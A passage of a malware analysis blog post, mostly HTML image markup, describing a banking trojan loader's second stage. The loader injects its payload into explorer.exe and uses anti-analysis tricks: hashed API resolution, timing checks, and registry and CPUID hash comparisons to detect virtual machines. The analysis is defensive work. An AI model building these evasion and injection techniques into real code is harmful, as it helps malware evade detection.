https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4bDbIMgSMgerQx7YKcFBPXRvgS8q1Q9vZpcnJuibUegLO6CuWUVHkuJrSarjPycce3Tce3fKP-S_hqCDqetpwBwSIhL4yQKjlQ6ut_NcmzOJvU2ONFOm19IO_CBdKigkksdrrpTBWHec/s320/usual_unpack.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h4></h4><h4>1.2. Second stage, custom packer / injector</h4><p> This second stage is an executable that is unpacked over the original executable in memory. This second stage perfoms some antidebug tricks such as VM detection and API calls obfuscation. In addition, it decrypts the third stage PE: the main banking code, and it injects this third stage PE to explorer.exe process.</p><p><br> 1.2.1. Antidebug Tricks</p><p> The analyzed sample performs a somo usual antidebug tricks. From analyzed sample (IDA decompiled):<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png" width="400" height="280" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:280,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvCIw_bnG2MUYjf-bGVX4_vOVm6Dz2MpWwISK_zAD50wPdKNeJ2D9qghxpQwT9Qzgg-l19JhucEXySVmEw_Ie07gJH4imEG3pFSnwohI4i-q70bTpkSDQO78u-maoPcu56Y6R0GPRXyg8/s400/nukebot_antidebug_trick.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> 1.2.1.1. Antidebug tricks: API Obfuscation<br></p><p> In the Neutrino Bot loader, each time a API is going to be called, it is got from a hash.<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png" width="400" height="150" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:150,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGpGeo-1P2EZWjjOrV8WPMrE_bR_8mqRODHwxzx6M32bIrgNZT53sefoie2Xd5iovJwQNiVFGS5TNgMGYgiUiZwK3yKCxFys8H_7OwQ5uIFfa55vyW3k82xg9Us2zJmKdL8boyhAF0Ym0/s400/nukebot_api_get.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br>It seems to be using a custom hash algorithm, not crc32 or similar well-known algorithm (frequently used by other malware families).</p><p><br> 1.2.1.2.&nbsp;Antidebug tricks:&nbsp;Time Tricks</p><p> The analyzed sample plays with GetTickCount and waits (Sleep and WaitForSingleObject), performing usual tricks to detect that it is running into a VM. From analyzed sample (IDA decompiled):<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUCc8g1AGyg_ug_lTM-wC2l1TDH1MrPRvEHcp3svVavxJSpQ8OApLCkOwUlkew24LPXNpGMCcQrOmk_a_NTi17DRMlD0llHg9JVTofPfbrbcMKUGR8rsHdSf8Z5GWCosSQiJ8P7gy2Za0/s1600/nukebot_time_trick.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> 1.2.1.3.&nbsp;Antidebug tricks:&nbsp;HKCU\Software\Microsoft\Windows\Identifier</p><p> The analyzed sample checks the key:&nbsp;HKCU\Software\Microsoft\Windows value: Identifier, it hashs the content of that value with <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler&#8211;Noll&#8211;Vo hash algorithm</a>&nbsp;and it compares the hash with 0xC9C8F009. I don't know exactly what content would match this hash, but probably it matchs an specified content for some wellknown VMs (virtualbox, vmware, ...). From analyzed sample (IDA decompiled):<br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png" width="640" height="216" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:216,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLKF3W0hBBnJpEMXy7Uqpy4yFflxwOWSOlKAPk6RstSy2QMR4YZsNKCtSIu66iYhFsV2hO2Kf2N4crrny-H1-ZMIxlFSzgoJvOll83RgHCBcpy86BURWlipjVdpSak30nmXD-4duXeyY/s640/nukebot_identifier_key.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> 1.2.1.3.&nbsp;Antidebug tricks:&nbsp;CPUID checks</p><p> The analyzed sample executes cpuid instruction to get cpu information, then it calculates a fowler-noll-vo hash with the information returned by cpuid, and compares that hash with a set of values: 0x3A72221D, 0xB609E57D, 0x11482F93, 0xA7C9423F, 0x7816EDDD, 0x6361F34. I don't know exactly the original data causing these hashes, but probably they are values returned by cpuid related to wellknown VMs such as vmware, virtualbox, etc... From analyzed sample (IDA decompiled):<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png" width="264" height="640" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:264,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjILzNyCE5NggKWUxT4qOMiH8g6aQrSYosoVQeNUzqGv9colHUiiU9mRYjQe-unp1PKaG0ttufTBazX6DGQl9oRhR4nzq_Zt0n9jo5PaiuOjzpatpv2nZoeSkR9xMkDM48dfjVbfGDiZvU/s640/nukebot_check_cpuid.png 1272w, 